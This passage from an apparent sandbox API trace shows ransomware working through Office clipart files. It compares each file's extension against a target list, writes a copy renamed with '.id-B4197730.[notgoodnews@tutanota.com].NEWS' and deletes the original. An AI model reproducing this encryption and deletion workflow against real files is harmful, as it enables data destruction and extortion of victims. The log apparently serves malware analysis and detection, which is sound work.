Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.105] lstrlenW (lpString=".doc") returned 4 [0076.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString=".docx") returned 5 [0076.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.105] lstrlenW (lpString=".pdf") returned 4 [0076.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString=".xls") returned 4 [0076.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.105] lstrlenW (lpString=".xlsx") returned 5 [0076.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.105] lstrlenW (lpString=".ppt") returned 4 [0076.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.105] lstrlenW (lpString=".zip") returned 4 [0076.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.105] lstrlenW (lpString=".rar") returned 4 [0076.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString=".bz2") returned 4 [0076.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString=".7z") returned 3 [0076.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.105] lstrlenW (lpString=".dbf") returned 4 [0076.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.105] lstrlenW (lpString=".1cd") returned 4 [0076.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.105] lstrlenW (lpString=".jpg") returned 4 [0076.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.106] lstrlenW (lpString=".doc") returned 4 [0076.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.106] lstrlenW (lpString=".docx") returned 5 [0076.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.106] lstrlenW (lpString=".pdf") returned 4 [0076.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.106] lstrlenW (lpString=".xls") returned 4 [0076.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.106] lstrlenW (lpString=".xlsx") returned 5 [0076.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.106] lstrlenW (lpString=".ppt") returned 4 [0076.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.106] lstrlenW (lpString=".zip") returned 4 [0076.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.106] lstrlenW (lpString=".rar") returned 4 [0076.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.106] lstrlenW (lpString=".bz2") returned 4 [0076.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.106] lstrlenW (lpString=".7z") returned 3 [0076.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.106] lstrlenW (lpString=".dbf") returned 4 [0076.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.106] lstrlenW (lpString=".1cd") returned 4 [0076.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.106] lstrlenW (lpString=".jpg") returned 4 [0076.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.107] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.107] lstrlenW (lpString="AN03500_.WMF") returned 12 [0076.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.107] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9240) returned 1 [0076.107] CloseHandle (hObject=0x31c) returned 1 [0076.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0076.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.107] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.107] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.108] GetLastError () returned 0x0 [0076.108] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2418, lpOverlapped=0x0) returned 1 [0076.109] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2420, lpOverlapped=0x0) returned 1 [0076.110] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.110] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.111] SetEndOfFile (hFile=0x378) returned 1 [0076.111] CloseHandle (hObject=0x378) returned 1 [0076.114] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.114] SetEndOfFile (hFile=0x31c) returned 1 [0076.115] CloseHandle (hObject=0x31c) returned 1 [0076.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0076.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.115] lstrlenW (lpString=".doc") returned 4 [0076.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.115] lstrlenW (lpString=".docx") returned 5 [0076.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.115] lstrlenW (lpString=".pdf") returned 4 [0076.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString=".xls") returned 4 [0076.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.116] lstrlenW (lpString=".xlsx") returned 5 [0076.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.116] lstrlenW (lpString=".ppt") returned 4 [0076.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.116] lstrlenW (lpString=".zip") returned 4 [0076.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.116] lstrlenW (lpString=".rar") returned 4 [0076.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString=".bz2") returned 4 [0076.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString=".7z") returned 3 [0076.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.116] lstrlenW (lpString=".dbf") returned 4 [0076.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.116] lstrlenW (lpString=".1cd") returned 4 [0076.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.116] lstrlenW (lpString=".jpg") returned 4 [0076.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.116] lstrlenW (lpString=".doc") returned 4 [0076.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString=".docx") returned 5 [0076.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.116] lstrlenW (lpString=".pdf") returned 4 [0076.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.116] lstrlenW (lpString=".xls") returned 4 [0076.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.116] lstrlenW (lpString=".xlsx") returned 5 [0076.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.117] lstrlenW (lpString=".ppt") returned 4 [0076.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.117] lstrlenW (lpString=".zip") returned 4 [0076.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.117] lstrlenW (lpString=".rar") returned 4 [0076.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.117] lstrlenW (lpString=".bz2") returned 4 [0076.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.117] lstrlenW (lpString=".7z") returned 3 [0076.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.117] lstrlenW (lpString=".dbf") returned 4 [0076.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.117] lstrlenW (lpString=".1cd") returned 4 [0076.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0076.117] lstrlenW (lpString=".jpg") returned 4 [0076.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.117] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.117] lstrlenW (lpString="AN04108_.WMF") returned 12 [0076.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.644] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2344) returned 1 [0076.644] CloseHandle (hObject=0x35c) returned 1 [0076.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0076.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.644] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.644] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0076.645] GetLastError () returned 0x0 [0076.645] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x928, lpOverlapped=0x0) returned 1 [0076.646] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x930, lpOverlapped=0x0) returned 1 [0076.647] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.647] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.647] SetEndOfFile (hFile=0x384) returned 1 [0076.647] CloseHandle (hObject=0x384) returned 1 [0076.648] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.648] SetEndOfFile (hFile=0x35c) returned 1 [0076.649] CloseHandle (hObject=0x35c) returned 1 [0076.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0076.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.650] lstrlenW (lpString=".doc") returned 4 [0076.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.650] lstrlenW (lpString=".docx") returned 5 [0076.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.650] lstrlenW (lpString=".pdf") returned 4 [0076.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.650] lstrlenW (lpString=".xls") returned 4 [0076.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.650] lstrlenW (lpString=".xlsx") returned 5 [0076.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.650] lstrlenW (lpString=".ppt") returned 4 [0076.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.650] lstrlenW (lpString=".zip") returned 4 [0076.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.650] lstrlenW (lpString=".rar") returned 4 [0076.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.650] lstrlenW (lpString=".bz2") returned 4 [0076.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.650] lstrlenW (lpString=".7z") returned 3 [0076.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.650] lstrlenW (lpString=".dbf") returned 4 [0076.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.650] lstrlenW (lpString=".1cd") returned 4 [0076.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.651] lstrlenW (lpString=".jpg") returned 4 [0076.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.651] lstrlenW (lpString=".doc") returned 4 [0076.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString=".docx") returned 5 [0076.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.651] lstrlenW (lpString=".pdf") returned 4 [0076.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString=".xls") returned 4 [0076.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.651] lstrlenW (lpString=".xlsx") returned 5 [0076.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.651] lstrlenW (lpString=".ppt") returned 4 [0076.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.651] lstrlenW (lpString=".zip") returned 4 [0076.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.651] lstrlenW (lpString=".rar") returned 4 [0076.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString=".bz2") returned 4 [0076.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString=".7z") returned 3 [0076.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.651] lstrlenW (lpString=".dbf") returned 4 [0076.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.651] lstrlenW (lpString=".1cd") returned 4 [0076.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0076.651] lstrlenW (lpString=".jpg") returned 4 [0076.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.652] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.652] lstrlenW (lpString="AN04174_.WMF") returned 12 [0076.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.652] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2636) returned 1 [0076.652] CloseHandle (hObject=0x35c) returned 1 [0076.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0076.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.652] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.653] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0076.653] GetLastError () returned 0x0 [0076.653] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0076.654] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xa50, lpOverlapped=0x0) returned 1 [0076.655] ReadFile (in: hFile=0x35c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.655] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.655] SetEndOfFile (hFile=0x384) returned 1 [0076.656] CloseHandle (hObject=0x384) returned 1 [0076.657] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.657] SetEndOfFile (hFile=0x35c) returned 1 [0076.658] CloseHandle (hObject=0x35c) returned 1 [0076.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0076.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0076.658] lstrlenW (lpString=".doc") returned 4 [0076.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.658] lstrlenW (lpString=".docx") returned 5 [0076.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.658] lstrlenW (lpString=".pdf") returned 4 [0076.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 